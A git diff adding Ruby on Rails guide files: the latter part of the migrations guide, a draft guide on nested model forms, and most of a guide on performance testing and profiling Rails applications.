+The other helper is called +references+ (also available as +belongs_to+). In its simplest form it just adds some readability
+
+<ruby>
+create_table :products do |t|
+  t.references :category
+end
+</ruby>
+
+will create a +category_id+ column of the appropriate type. Note that you pass the model name, not the column name. Active Record adds the +_id+ for you. If you have polymorphic +belongs_to+ associations then +references+ will add both of the columns required:
+
+<ruby>
+create_table :products do |t|
+  t.references :attachment, :polymorphic => {:default => 'Photo'}
+end
+</ruby>
+will add an +attachment_id+ column and a string +attachment_type+ column with a default value of 'Photo'.
+
+NOTE: The +references+ helper does not actually create foreign key constraints for you. You will need to use +execute+ for that or a plugin that adds "foreign key support":#active-record-and-referential-integrity.
+
+If the helpers provided by Active Record aren't enough you can use the +execute+ function to execute arbitrary SQL.
+
+For more details and examples of individual methods check the API documentation, in particular the documentation for "<tt>ActiveRecord::ConnectionAdapters::SchemaStatements</tt>":http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html (which provides the methods available in the +up+ and +down+ methods),  "<tt>ActiveRecord::ConnectionAdapters::TableDefinition</tt>":http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/TableDefinition.html (which provides the methods available on the object yielded by +create_table+) and "<tt>ActiveRecord::ConnectionAdapters::Table</tt>":http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/Table.html (which provides the methods available on the object yielded by +change_table+).
+
+h4. Writing Your +down+ Method
+
+The +down+ method of your migration should revert the transformations done by the +up+ method. In other words the database schema should be unchanged if you do an +up+ followed by a +down+. For example if you create a table in the +up+ method you should drop it in the +down+ method. It is wise to do things in precisely the reverse order to in the +up+ method. For example
+
+<ruby>
+class ExampleMigration < ActiveRecord::Migration
+
+  def self.up
+    create_table :products do |t|
+      t.references :category
+    end
+    #add a foreign key
+    execute <<-SQL
+      ALTER TABLE products
+        ADD CONSTRAINT fk_products_categories
+        FOREIGN KEY (category_id)
+        REFERENCES categories(id)
+    SQL
+
+    add_column :users, :home_page_url, :string
+
+    rename_column :users, :email, :email_address
+  end
+
+  def self.down
+    rename_column :users, :email_address, :email
+    remove_column :users, :home_page_url
+    execute "ALTER TABLE products DROP FOREIGN KEY fk_products_categories"
+    drop_table :products
+  end
+end
+</ruby>
+Sometimes your migration will do something which is just plain irreversible, for example it might destroy some data. In cases like those when you can't reverse the migration you can raise +IrreversibleMigration+ from your +down+ method. If someone tries to revert your migration an error message will be
+displayed saying that it can't be done.
+
+
+h3. Running Migrations
+
+Rails provides a set of rake tasks to work with migrations which boils down to running certain sets of migrations. The very first migration related rake task you use will probably be +db:migrate+. In its most basic form it just runs the +up+ method for all the migrations that have not yet been run. If there are no such migrations it exits.
+
+Note that running the +db:migrate+ also invokes the +db:schema:dump+ task, which will update your db/schema.rb file to match the structure of your database.
+
+If you specify a target version, Active Record will run the required migrations (up or down) until it has reached the specified version. The
+version is the numerical prefix on the migration's filename. For example to migrate to version 20080906120000 run
+
+<shell>
+rake db:migrate VERSION=20080906120000
+</shell>
+
+If this is greater than the current version (i.e. it is migrating upwards) this will run the +up+ method on all migrations up to and including 20080906120000, if migrating downwards this will run the +down+ method on all the migrations down to, but not including, 20080906120000.
+
+h4. Rolling Back
+
+A common task is to rollback the last migration, for example if you made a mistake in it and wish to correct it. Rather than tracking down the version number associated with the previous migration you can run
+
+<shell>
+rake db:rollback
+</shell>
+
+This will run the +down+ method from the latest migration. If you need to undo several migrations you can provide a +STEP+ parameter:
+
+<shell>
+rake db:rollback STEP=3
+</shell>
+
+will run the +down+ method from the last 3 migrations.
+
+The +db:migrate:redo+ task is a shortcut for doing a rollback and then migrating back up again. As with the +db:rollback+ task you can use the +STEP+ parameter if you need to go more than one version back, for example
+
+<shell>
+rake db:migrate:redo STEP=3
+</shell>
+
+Neither of these Rake tasks do anything you could not do with +db:migrate+, they are simply more convenient since you do not need to explicitly specify the version to migrate to.
+
+Lastly, the +db:reset+ task will drop the database, recreate it and load the current schema into it.
+
+NOTE: This is not the same as running all the migrations - see the section on "schema.rb":#schema-dumping-and-you.
+
+h4. Being Specific
+
+If you need to run a specific migration up or down the +db:migrate:up+ and +db:migrate:down+ tasks will do that. Just specify the appropriate version and the corresponding migration will have its +up+ or +down+ method invoked, for example
+
+<shell>
+rake db:migrate:up VERSION=20080906120000
+</shell>
+
+will run the +up+ method from the 20080906120000 migration. These tasks check whether the migration has already run, so for example +db:migrate:up VERSION=20080906120000+ will do nothing if Active Record believes that 20080906120000 has already been run.
+
+h4. Being Talkative
+
+By default migrations tell you exactly what they're doing and how long it took. A migration creating a table and adding an index might produce output like this
+
+<shell>
+20080906170109 CreateProducts: migrating
+-- create_table(:products)
+   -> 0.0021s
+-- add_index(:products, :name)
+   -> 0.0026s
+20080906170109 CreateProducts: migrated (0.0059s)
+</shell>
+
+Several methods are provided that allow you to control all this:
+
+* +suppress_messages+ suppresses any output generated by its block
+* +say+ outputs text (the second argument controls whether it is indented or not)
+* +say_with_time+ outputs text along with how long it took to run its block. If the block returns an integer it assumes it is the number of rows affected.
+
+For example, this migration
+
+<ruby>
+class CreateProducts < ActiveRecord::Migration
+  def self.up
+    suppress_messages do
+      create_table :products do |t|
+        t.string :name
+        t.text :description
+        t.timestamps
+      end
+    end
+    say "Created a table"
+    suppress_messages {add_index :products, :name}
+    say "and an index!", true
+    say_with_time 'Waiting for a while' do
+      sleep 10
+      250
+    end
+  end
+
+  def self.down
+    drop_table :products
+  end
+end
+</ruby>
+
+generates the following output
+
+<shell>
+20080906170109 CreateProducts: migrating
+  Created a table
+   -> and an index!
+  Waiting for a while
+   -> 10.0001s
+   -> 250 rows
+20080906170109 CreateProducts: migrated (10.0097s)
+</shell>
+
+If you just want Active Record to shut up then running +rake db:migrate VERBOSE=false+ will suppress any output.
+
+h3. Using Models in Your Migrations
+
+When creating or updating data in a migration it is often tempting to use one of your models. After all they exist to provide easy access to the underlying data. This can be done but some caution should be observed.
+
+Consider for example a migration that uses the +Product+ model to update a row in the corresponding table. Alice later updates the +Product+ model, adding a new column and a validation on it. Bob comes back from holiday, updates the source and runs outstanding migrations with +rake db:migrate+, including the one that used the +Product+ model. When the migration runs the source is up to date and so the +Product+ model has the validation added by Alice. The database however is still old and so does not have that column and an error ensues because that validation is on a column that does not yet exist.
+
+Frequently I just want to update rows in the database without writing out the SQL by hand: I'm not using anything specific to the model. One pattern for this is to define a copy of the model inside the migration itself, for example:
+
+<ruby>
+class AddPartNumberToProducts < ActiveRecord::Migration
+  class Product < ActiveRecord::Base
+  end
+
+  def self.up
+    ...
+  end
+
+  def self.down
+    ...
+  end
+end
+</ruby>
+The migration has its own minimal copy of the +Product+ model and no longer cares about the +Product+ model defined in the application.
+
+h4. Dealing with Changing Models
+
+For performance reasons information about the columns a model has is cached. For example if you add a column to a table and then try and use the corresponding model to insert a new row it may try and use the old column information. You can force Active Record to re-read the column information with the +reset_column_information+ method, for example
+
+<ruby>
+class AddPartNumberToProducts < ActiveRecord::Migration
+  class Product < ActiveRecord::Base
+  end
+
+  def self.up
+    add_column :product, :part_number, :string
+    Product.reset_column_information
+    ...
+  end
+
+  def self.down
+    ...
+  end
+end
+</ruby>
+
+
+h3. Schema Dumping and You
+
+h4. What are Schema Files for?
+
+Migrations, mighty as they may be, are not the authoritative source for your database schema. That role falls to either +db/schema.rb+ or an SQL file which Active Record generates by examining the database. They are not designed to be edited, they just represent the current state of the database.
+
+There is no need (and it is error prone) to deploy a new instance of an app by replaying the entire migration history. It is much simpler and faster to just load into the database a description of the current schema.
+
+For example, this is how the test database is created: the current development database is dumped (either to +db/schema.rb+ or +db/development.sql+) and then loaded into the test database.
+
+Schema files are also useful if you want a quick look at what attributes an Active Record object has. This information is not in the model's code and is frequently spread across several migrations but is all summed up in the schema file. The "annotate_models":http://agilewebdevelopment.com/plugins/annotate_models plugin, which automatically adds (and updates) comments at the top of each model summarising the schema, may also be of interest.
+
+h4. Types of Schema Dumps
+
+There are two ways to dump the schema. This is set in +config/environment.rb+ by the +config.active_record.schema_format+ setting, which may be either +:sql+ or +:ruby+.
+
+If +:ruby+ is selected then the schema is stored in +db/schema.rb+. If you look at this file you'll find that it looks an awful lot like one very big migration:
+
+<ruby>
+ActiveRecord::Schema.define(:version => 20080906171750) do
+  create_table "authors", :force => true do |t|
+    t.string   "name"
+    t.datetime "created_at"
+    t.datetime "updated_at"
+  end
+
+  create_table "products", :force => true do |t|
+    t.string   "name"
+    t.text     "description"
+    t.datetime "created_at"
+    t.datetime "updated_at"
+    t.string   "part_number"
+  end
+end
+</ruby>
+
+In many ways this is exactly what it is. This file is created by inspecting the database and expressing its structure using +create_table+, +add_index+, and so on. Because this is database independent it could be loaded into any database that Active Record supports. This could be very useful if you were to distribute an application that is able to run against multiple databases.
+
+There is however a trade-off: +db/schema.rb+ cannot express database specific items such as foreign key constraints, triggers or stored procedures. While in a migration you can execute custom SQL statements, the schema dumper cannot reconstitute those statements from the database. If you are using features like this then you should set the schema format to +:sql+.
+
+Instead of using Active Record's schema dumper the database's structure will be dumped using a tool specific to that database (via the +db:structure:dump+ Rake task) into +db/#{RAILS_ENV}_structure.sql+. For example for PostgreSQL the +pg_dump+ utility is used and for MySQL this file will contain the output of +SHOW CREATE TABLE+ for the various tables. Loading this schema is simply a question of executing the SQL statements contained inside.
+
+By definition this will be a perfect copy of the database's structure but this will usually prevent loading the schema into a database other than the one used to create it.
+
+h4. Schema Dumps and Source Control
+
+Because schema dumps are the authoritative source for your database schema, it is strongly recommended that you check them into source control.
+
+h3. Active Record and Referential Integrity
+
+The Active Record way claims that intelligence belongs in your models, not in the database. As such, features such as triggers or foreign key constraints, which push some of that intelligence back into the database, are not heavily used.
+
+Validations such as +validates_uniqueness_of+ are one way in which models can enforce data integrity. The +:dependent+ option on associations allows models to automatically destroy child objects when the parent is destroyed. Like anything which operates at the application level these cannot guarantee referential integrity and so some people augment them with foreign key constraints.
+
+Although Active Record does not provide any tools for working directly with such features, the +execute+ method can be used to execute arbitrary SQL. There are also a number of plugins such as "redhillonrails":http://agilewebdevelopment.com/plugins/search?search=redhillonrails which add foreign key support to Active Record (including support for dumping foreign keys in +db/schema.rb+).
+
+h3. Changelog
+
+"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/6
+
+* September 14, 2008: initial version by "Frederick Cheung":credits.html#fcheung
diff --git a/vendor/rails/railties/guides/source/nested_model_forms.textile b/vendor/rails/railties/guides/source/nested_model_forms.textile
new file mode 100644
index 00000000..4b685b21
--- /dev/null
+++ b/vendor/rails/railties/guides/source/nested_model_forms.textile
@@ -0,0 +1,222 @@
+h2. Rails nested model forms
+
+Creating a form for a model _and_ its associations can become quite tedious. Therefor Rails provides helpers to assist in dealing with the complexities of generating these forms _and_ the required CRUD operations to create, update, and destroy associations.
+
+In this guide you will:
+
+* do stuff
+
+endprologue.
+
+NOTE: This guide assumes the user knows how to use the "Rails form helpers":form_helpers.html in general. Also, it’s *not* an API reference. For a complete reference please visit "the Rails API documentation":http://api.rubyonrails.org/.
+
+
+h3. Model setup
+
+To be able to use the nested model functionality in your forms, the model will need to support some basic operations.
+
+First of all, it needs to define a writer method for the attribute that corresponds to the association you are building a nested model form for. The +fields_for+ form helper will look for this method to decide whether or not a nested model form should be build.
+
+If the associated object is an array a form builder will be yielded for each object, else only a single form builder will be yielded.
+
+Consider a Person model with an associated Address. When asked to yield a nested FormBuilder for the +:address+ attribute, the +fields_for+ form helper will look for a method on the Person instance named +address_attributes=+.
+
+h4. ActiveRecord::Base model
+
+For an ActiveRecord::Base model and association this writer method is commonly defined with the +accepts_nested_attributes_for+ class method:
+
+h5. has_one
+
+<ruby>
+class Person < ActiveRecord::Base
+  has_one :address
+  accepts_nested_attributes_for :address
+end
+</ruby>
+
+h5. belongs_to
+
+<ruby>
+class Person < ActiveRecord::Base
+  belongs_to :firm
+  accepts_nested_attributes_for :firm
+end
+</ruby>
+
+h5. has_many / has_and_belongs_to_many
+
+<ruby>
+class Person < ActiveRecord::Base
+  has_many :projects
+  accepts_nested_attributes_for :projects
+end
+</ruby>
+
+h4. Custom model
+
+As you might have inflected from this explanation, you _don’t_ necessarily need an ActiveRecord::Base model to use this functionality. The following examples are sufficient to enable the nested model form behaviour:
+
+h5. Single associated object
+
+<ruby>
+class Person
+  def address
+    Address.new
+  end
+  
+  def address_attributes=(attributes)
+    # ...
+  end
+end
+</ruby>
+
+h5. Association collection
+
+<ruby>
+class Person
+  def projects
+    [Project.new, Project.new]
+  end
+  
+  def projects_attributes=(attributes)
+    # ...
+  end
+end
+</ruby>
+
+NOTE: See (TODO) in the advanced section for more information on how to deal with the CRUD operations in your custom model.
+
+h3. Views
+
+h4. Controller code
+
+A nested model form will _only_ be build if the associated object(s) exist. This means that for a new model instance you would probably want to build the associated object(s) first.
+
+Consider the following typical RESTful controller which will prepare a new Person instance and its +address+ and +projects+ associations before rendering the +new+ template:
+
+<ruby>
+class PeopleController < ActionController:Base
+  def new
+    @person = Person.new
+    @person.built_address
+    2.times { @person.projects.build }
+  end
+  
+  def create
+    @person = Person.new(params[:person])
+    if @person.save
+      # ...
+    end
+  end
+end
+</ruby>
+
+NOTE: Obviously the instantiation of the associated object(s) can become tedious and not DRY, so you might want to move that into the model itself. ActiveRecord::Base provides an +after_initialize+ callback which is a good way to refactor this.
+
+h4. Form code
+
+Now that you have a model instance, with the appropriate methods and associated object(s), you can start building the nested model form.
+
+h5. Standard form
+
+Start out with a regular RESTful form:
+
+<erb>
+<% form_for @person do |f| %>
+  <%= f.text_field :name %>
+<% end %>
+</erb>
+
+This will generate the following html:
+
+<html>
+<form action="/people" class="new_person" id="new_person" method="post">
+  <input id="person_name" name="person[name]" size="30" type="text" />
+</form>
+</html>
+
+h5. Nested form for a single associated object
+
+Now add a nested form for the +address+ association:
+
+<erb>
+<% form_for @person do |f| %>
+  <%= f.text_field :name %>
+  
+  <% f.fields_for :address do |af| %>
+    <%= f.text_field :street %>
+  <% end %>
+<% end %>
+</erb>
+
+This generates:
+
+<html>
+<form action="/people" class="new_person" id="new_person" method="post">
+  <input id="person_name" name="person[name]" size="30" type="text" />
+  
+  <input id="person_address_attributes_street" name="person[address_attributes][street]" size="30" type="text" />
+</form>
+</html>
+
+Notice that +fields_for+ recognized the +address+ as an association for which a nested model form should be build by the way it has namespaced the +name+ attribute.
+
+When this form is posted the Rails parameter parser will construct a hash like the following:
+
+<ruby>
+{
+  "person" => {
+    "name" => "Eloy Duran",
+    "address_attributes" => {
+      "street" => "Nieuwe Prinsengracht"
+    }
+  }
+}
+</ruby>
+
+That’s it. The controller will simply pass this hash on to the model from the +create+ action. The model will then handle building the +address+ association for you and automatically save it when the parent (+person+) is saved.
+
+h5. Nested form for a collection of associated objects
+
+The form code for an association collection is pretty similar to that of a single associated object:
+
+<erb>
+<% form_for @person do |f| %>
+  <%= f.text_field :name %>
+  
+  <% f.fields_for :projects do |pf| %>
+    <%= f.text_field :name %>
+  <% end %>
+<% end %>
+</erb>
+
+Which generates:
+
+<html>
+<form action="/people" class="new_person" id="new_person" method="post">
+  <input id="person_name" name="person[name]" size="30" type="text" />
+  
+  <input id="person_projects_attributes_0_name" name="person[projects_attributes][0][name]" size="30" type="text" />
+  <input id="person_projects_attributes_1_name" name="person[projects_attributes][1][name]" size="30" type="text" />
+</form>
+</html>
+
+As you can see it has generated 2 +project name+ inputs, one for each new +project+ that’s build in the controllers +new+ action. Only this time the +name+ attribute of the input contains a digit as an extra namespace. This will be parsed by the Rails parameter parser as:
+
+<ruby>
+{
+  "person" => {
+    "name" => "Eloy Duran",
+    "projects_attributes" => {
+      "0" => { "name" => "Project 1" },
+      "1" => { "name" => "Project 2" }
+    }
+  }
+}
+</ruby>
+
+You can basically see the +projects_attributes+ hash as an array of attribute hashes. One for each model instance.
+
+NOTE: The reason that +fields_for+ constructed a form which would result in a hash instead of an array is that it won't work for any forms nested deeper than one level deep.
+
+TIP: You _can_ however pass an array to the writer method generated by +accepts_nested_attributes_for+ if you're using plain Ruby or some other API access. See (TODO) for more info and example.
\ No newline at end of file
diff --git a/vendor/rails/railties/guides/source/performance_testing.textile b/vendor/rails/railties/guides/source/performance_testing.textile
new file mode 100644
index 00000000..320a5b84
--- /dev/null
+++ b/vendor/rails/railties/guides/source/performance_testing.textile
@@ -0,0 +1,531 @@
+h2. Performance Testing Rails Applications
+
+This guide covers the various ways of performance testing a Ruby on Rails application. By referring to this guide, you will be able to:
+
+* Understand the various types of benchmarking and profiling metrics
+* Generate performance and benchmarking tests
+* Use a GC-patched Ruby binary to measure memory usage and object allocation
+* Understand the benchmarking information provided by Rails inside the log files
+* Learn about various tools facilitating benchmarking and profiling
+
+Performance testing is an integral part of the development cycle. It is very important that you don't make your end users wait for too long before the page is completely loaded. Ensuring a pleasant browsing experience for end users and cutting the cost of unnecessary hardware is important for any non-trivial web application.
+
+endprologue.
+
+h3. Performance Test Cases
+
+Rails performance tests are a special type of integration tests, designed for benchmarking and profiling the test code. With performance tests, you can determine where your application's memory or speed problems are coming from, and get a more in-depth picture of those problems.
+
+In a freshly generated Rails application, +test/performance/browsing_test.rb+ contains an example of a performance test:
+
+<ruby>
+require 'test_helper'
+require 'performance_test_help'
+
+# Profiling results for each test method are written to tmp/performance.
+class BrowsingTest < ActionController::PerformanceTest
+  def test_homepage
+    get '/'
+  end
+end
+</ruby>
+
+This example is a simple performance test case for profiling a GET request to the application's homepage.
+
+h4. Generating Performance Tests
+
+Rails provides a generator called +performance_test+ for creating new performance tests:
+
+<shell>
+script/generate performance_test homepage
+</shell>
+
+This generates +homepage_test.rb+ in the +test/performance+ directory:
+
+<ruby>
+require 'test_helper'
+require 'performance_test_help'
+
+class HomepageTest < ActionController::PerformanceTest
+  # Replace this with your real tests.
+  def test_homepage
+    get '/'
+  end
+end
+</ruby>
+
+h4. Examples
+
+Let's assume your application has the following controller and model:
+
+<ruby>
+# routes.rb
+map.root :controller => 'home'
+map.resources :posts
+
+# home_controller.rb
+class HomeController < ApplicationController
+  def dashboard
+    @users = User.last_ten(:include => :avatars)
+    @posts = Post.all_today
+  end
+end
+
+# posts_controller.rb
+class PostsController < ApplicationController
+  def create
+    @post = Post.create(params[:post])
+    redirect_to(@post)
+  end
+end
+
+# post.rb
+class Post < ActiveRecord::Base
+  before_save :recalculate_costly_stats
+
+  def slow_method
+    # I fire gallzilion queries sleeping all around
+  end
+
+  private
+
+  def recalculate_costly_stats
+    # CPU heavy calculations
+  end
+end
+</ruby>
+
+h5. Controller Example
+
+Because performance tests are a special kind of integration test, you can use the +get+ and +post+ methods in them.
+
+Here's the performance test for +HomeController#dashboard+ and +PostsController#create+:
+
+<ruby>
+require 'test_helper'
+require 'performance_test_help'
+
+class PostPerformanceTest < ActionController::PerformanceTest
+  def setup
+    # Application requires logged-in user
+    login_as(:lifo)
+  end
+
+  def test_homepage
+    get '/dashboard'
+  end
+
+  def test_creating_new_post
+    post '/posts', :post => { :body => 'lifo is fooling you' }
+  end
+end
+</ruby>
+
+You can find more details about the +get+ and +post+ methods in the "Testing Rails Applications":testing.html guide.
+
+h5. Model Example
+
+Even though the performance tests are integration tests and hence closer to the request/response cycle by nature, you can still performance test pure model code.
+
+Performance test for +Post+ model:
+
+<ruby>
+require 'test_helper'
+require 'performance_test_help'
+
+class PostModelTest < ActionController::PerformanceTest
+  def test_creation
+    Post.create :body => 'still fooling you', :cost => '100'
+  end
+
+  def test_slow_method
+    # Using posts(:awesome) fixture
+    posts(:awesome).slow_method
+  end
+end
+</ruby>
+
+h4. Modes
+
+Performance tests can be run in two modes: Benchmarking and Profiling.
+
+h5. Benchmarking
+
+Benchmarking helps find out how fast each performance test runs. Each test case is run +4 times+ in benchmarking mode.
+
+To run performance tests in benchmarking mode:
+
+<shell>
+$ rake test:benchmark
+</shell>
+
+h5. Profiling
+
+Profiling helps you see the details of a performance test and provide an in-depth picture of the slow and memory hungry parts. Each test case is run +1 time+ in profiling mode.
+
+To run performance tests in profiling mode:
+
+<shell>
+$ rake test:profile
+</shell>
+
+h4. Metrics
+
+Benchmarking and profiling run performance tests in various modes described below.
+
+h5. Wall Time
+
+Wall time measures the real world time elapsed during the test run. It is affected by any other processes concurrently running on the system.
+
+Mode: Benchmarking
+
+h5. Process Time
+
+Process time measures the time taken by the process. It is unaffected by any other processes running concurrently on the same system. Hence, process time is likely to be constant for any given performance test, irrespective of the machine load.
+
+Mode: Profiling
+
+h5. Memory
+
+Memory measures the amount of memory used for the performance test case.
+
+Mode: Benchmarking, Profiling "Requires GC Patched Ruby":#installing-gc-patched-ruby
+
+h5. Objects
+
+Objects measures the number of objects allocated for the performance test case.
+
+Mode: Benchmarking, Profiling "Requires GC Patched Ruby":#installing-gc-patched-ruby
+
+h5. GC Runs
+
+GC Runs measures the number of times GC was invoked for the performance test case.
+
+Mode: Benchmarking "Requires GC Patched Ruby":#installing-gc-patched-ruby
+
+h5. GC Time
+
+GC Time measures the amount of time spent in GC for the performance test case.
+
+Mode: Benchmarking "Requires GC Patched Ruby":#installing-gc-patched-ruby
+
+h4. Understanding the Output
+
+Performance tests generate different outputs inside +tmp/performance+ directory depending on their mode and metric.
+
+h5. Benchmarking
+
+In benchmarking mode, performance tests generate two types of outputs:
+
+h6. Command Line
+
+This is the primary form of output in benchmarking mode. Example:
+
+<shell>
+BrowsingTest#test_homepage (31 ms warmup)
+           wall_time: 6 ms
+              memory: 437.27 KB
+             objects: 5514
+             gc_runs: 0
+             gc_time: 19 ms
+</shell>
+
+h6. CSV Files
+
+Performance test results are also appended to +.csv+ files inside +tmp/performance+. For example, running the default +BrowsingTest#test_homepage+ will generate following five files:
+
+* BrowsingTest#test_homepage_gc_runs.csv
+* BrowsingTest#test_homepage_gc_time.csv
+* BrowsingTest#test_homepage_memory.csv
+* BrowsingTest#test_homepage_objects.csv
+* BrowsingTest#test_homepage_wall_time.csv
+
+As the results are appended to these files each time the performance tests are run in benchmarking mode, you can collect data over a period of time. This can be very helpful in analyzing the effects of code changes.
+
+Sample output of +BrowsingTest#test_homepage_wall_time.csv+:
+
+<shell>
+measurement,created_at,app,rails,ruby,platform
+0.00738224999999992,2009-01-08T03:40:29Z,,2.3.0.master.0744148,ruby-1.8.6.110,i686-darwin9.0.0
+0.00755874999999984,2009-01-08T03:46:18Z,,2.3.0.master.0744148,ruby-1.8.6.110,i686-darwin9.0.0
+0.00762099999999993,2009-01-08T03:49:25Z,,2.3.0.master.0744148,ruby-1.8.6.110,i686-darwin9.0.0
+0.00603075000000008,2009-01-08T04:03:29Z,,2.3.0.master.0744148,ruby-1.8.6.111,i686-darwin9.1.0
+0.00619899999999995,2009-01-08T04:03:53Z,,2.3.0.master.0744148,ruby-1.8.6.111,i686-darwin9.1.0
+0.00755449999999991,2009-01-08T04:04:55Z,,2.3.0.master.0744148,ruby-1.8.6.110,i686-darwin9.0.0
+0.00595999999999997,2009-01-08T04:05:06Z,,2.3.0.master.0744148,ruby-1.8.6.111,i686-darwin9.1.0
+0.00740450000000004,2009-01-09T03:54:47Z,,2.3.0.master.859e150,ruby-1.8.6.110,i686-darwin9.0.0
+0.00603150000000008,2009-01-09T03:54:57Z,,2.3.0.master.859e150,ruby-1.8.6.111,i686-darwin9.1.0
+0.00771250000000012,2009-01-09T15:46:03Z,,2.3.0.master.859e150,ruby-1.8.6.110,i686-darwin9.0.0
+</shell>
+
+h5. Profiling
+
+In profiling mode, you can choose from four types of output.
+
+h6. Command Line
+
+This is a very basic form of output in profiling mode:
+
+<shell>
+BrowsingTest#test_homepage (58 ms warmup)
+        process_time: 63 ms
+              memory: 832.13 KB
+             objects: 7882
+</shell>
+
+h6. Flat
+
+Flat output shows the total amount of time spent in each method. "Check ruby prof documentation for a better explanation":http://ruby-prof.rubyforge.org/files/examples/flat_txt.html.
+
+h6. Graph
+
+Graph output shows how long each method takes to run, which methods call it and which methods it calls. "Check ruby prof documentation for a better explanation":http://ruby-prof.rubyforge.org/files/examples/graph_txt.html.
+
+h6. Tree
+
+Tree output is profiling information in calltree format for use by "kcachegrind":http://kcachegrind.sourceforge.net/html/Home.html and similar tools.
+
+h4. Tuning Test Runs
+
+By default, each performance test is run +4 times+ in benchmarking mode and +1 time+ in profiling. However, test runs can easily be configured.
+
+WARNING: Performance test configurability is not yet enabled in Rails. But it will be soon.
+
+h4. Performance Test Environment
+
+Performance tests are run in the +development+ environment. But running performance tests will set the following configuration parameters:
+
+<shell>
+ActionController::Base.perform_caching = true
+ActiveSupport::Dependencies.mechanism = :require
+Rails.logger.level = ActiveSupport::BufferedLogger::INFO
+</shell>
+
+As +ActionController::Base.perform_caching+ is set to +true+, performance tests will behave much as they do in the +production+ environment.
+
+h4. Installing GC-Patched Ruby
+
+To get the best from Rails performance tests, you need to build a special Ruby binary with some super powers - "GC patch":http://rubyforge.org/tracker/download.php/1814/7062/17676/3291/ruby186gc.patch for measuring GC Runs/Time and memory/object allocation.
+
+The process is fairly straightforward. If you've never compiled a Ruby binary before, follow these steps to build a ruby binary inside your home directory:
+
+h5. Installation
+
+Compile Ruby and apply this "GC Patch":http://rubyforge.org/tracker/download.php/1814/7062/17676/3291/ruby186gc.patch.
+
+h5. Download and Extract
+
+<shell>
+[lifo@null ~]$ mkdir rubygc
+[lifo@null ~]$ wget <download the latest stable ruby from ftp://ftp.ruby-lang.org/pub/ruby>
+[lifo@null ~]$ tar -xzvf <ruby-version.tar.gz>
+[lifo@null ~]$ cd <ruby-version>
+</shell>
+
+h5. Apply the Patch
+
+<shell>
+[lifo@null ruby-version]$ curl http://rubyforge.org/tracker/download.php/1814/7062/17676/3291/ruby186gc.patch | patch -p0
+</shell>
+
+h5. Configure and Install
+
+The following will install ruby in your home directory's +/rubygc+ directory. Make sure to replace +<homedir>+ with a full patch to your actual home directory.
+
+<shell>
+[lifo@null ruby-version]$ ./configure --prefix=/<homedir>/rubygc
+[lifo@null ruby-version]$ make && make install
+</shell>
+
+h5. Prepare Aliases
+
+For convenience, add the following lines in your +~/.profile+:
+
+<shell>
+alias gcruby='~/rubygc/bin/ruby'
+alias gcrake='~/rubygc/bin/rake'
+alias gcgem='~/rubygc/bin/gem'
+alias gcirb='~/rubygc/bin/irb'
+alias gcrails='~/rubygc/bin/rails'
+</shell>
+
+h5. Install Rubygems and Dependency Gems
+
+Download "Rubygems":http://rubyforge.org/projects/rubygems and install it from source. Rubygem's README file should have necessary installation instructions.
+
+Additionally, install the following gems:
+
+* +rake+
+* +rails+
+* +ruby-prof+
+* +rack+
+* +mysql+
+
+If installing +mysql+ fails, you can try to install it manually:
+
+<shell>
+[lifo@null mysql]$ gcruby extconf.rb --with-mysql-config
+[lifo@null mysql]$ make && make install
+</shell>
+
+And you're ready to go. Don't forget to use +gcruby+ and +gcrake+ aliases when running the performance tests.
+
+h3. Command Line Tools
+
+Writing performance test cases could be an overkill when you are looking for one time tests. Rails ships with two command line tools that enable quick and dirty performance testing:
+
+h4. +benchmarker+
+
++benchmarker+ is a wrapper around Ruby's "Benchmark":http://ruby-doc.org/core/classes/Benchmark.html standard library.
+
+Usage:
+
+<shell>
+$ script/performance/benchmarker [times] 'Person.expensive_way' 'Person.another_expensive_way' ...
+</shell>
+
+Examples:
+
+<shell>
+$ script/performance/benchmarker 10 'Item.all' 'CouchItem.all'
+</shell>
+
+If the +[times]+ argument is omitted, supplied methods are run just once:
+
+<shell>
+$ script/performance/benchmarker 'Item.first' 'Item.last'
+</shell>
+
+h4. +profiler+
+
++profiler+ is a wrapper around http://ruby-prof.rubyforge.org/[ruby-prof] gem.
+
+Usage:
+
+<shell>
+$ script/performance/profiler 'Person.expensive_method(10)' [times] [flat|graph|graph_html]
+</shell>
+
+Examples:
+
+<shell>
+$ script/performance/profiler 'Item.all'
+</shell>
+
+This will profile +Item.all+ in +RubyProf::WALL_TIME+ measure mode. By default, it prints flat output to the shell.
+
+<shell>
+$ script/performance/profiler 'Item.all' 10 graph
+</shell>
+
+This will profile +10.times { Item.all }+ with +RubyProf::WALL_TIME+ measure mode and print graph output to the shell.
+
+If you want to store the output in a file:
+
+<shell>
+$ script/performance/profiler 'Item.all' 10 graph 2> graph.txt
+</shell>
+
+h3. Helper Methods
+
+Rails provides various helper methods inside Active Record, Action Controller and Action View to measure the time taken by a given piece of code. The method is called +benchmark()+ in all the three components.
+
+h4. Model
+
+<ruby>
+Project.benchmark("Creating project") do
+  project = Project.create("name" => "stuff")
+  project.create_manager("name" => "David")
+  project.milestones << Milestone.find(:all)
+end
+</ruby>
+
+This benchmarks the code enclosed in the +Project.benchmark("Creating project") do...end+ block and prints the result to the log file:
+
+<ruby>
+Creating project (185.3ms)
+</ruby>
+
+Please refer to the "API docs":http://api.rubyonrails.org/classes/ActiveRecord/Base.html#M001336 for additional options to +benchmark()+
+
+h4. Controller
+
+Similarly, you could use this helper method inside "controllers":http://api.rubyonrails.org/classes/ActionController/Benchmarking/ClassMethods.html#M000715
+
+<ruby>
+def process_projects
+  self.class.benchmark("Processing projects") do
+    Project.process(params[:project_ids])
+    Project.update_cached_projects
+  end
+end
+</ruby>
+
+NOTE: +benchmark+ is a class method inside controllers
+
+h4. View
+
+And in "views":http://api.rubyonrails.org/classes/ActionController/Benchmarking/ClassMethods.html#M000715:
+
+<erb>
+<% benchmark("Showing projects partial") do %>
+  <%= render :partial => @projects %>
+<% end %>
+</erb>
+
+h3. Request Logging
+
+Rails log files contain very useful information about the time taken to serve each request. Here's a typical log file entry:
+
+<shell>
+Processing ItemsController#index (for 127.0.0.1 at 2009-01-08 03:06:39) [GET]
+Rendering template within layouts/items
+Rendering items/index
+Completed in 5ms (View: 2, DB: 0) | 200 OK [http://0.0.0.0/items]
+</shell>
+
+For this section, we're only interested in the last line:
+
+<shell>
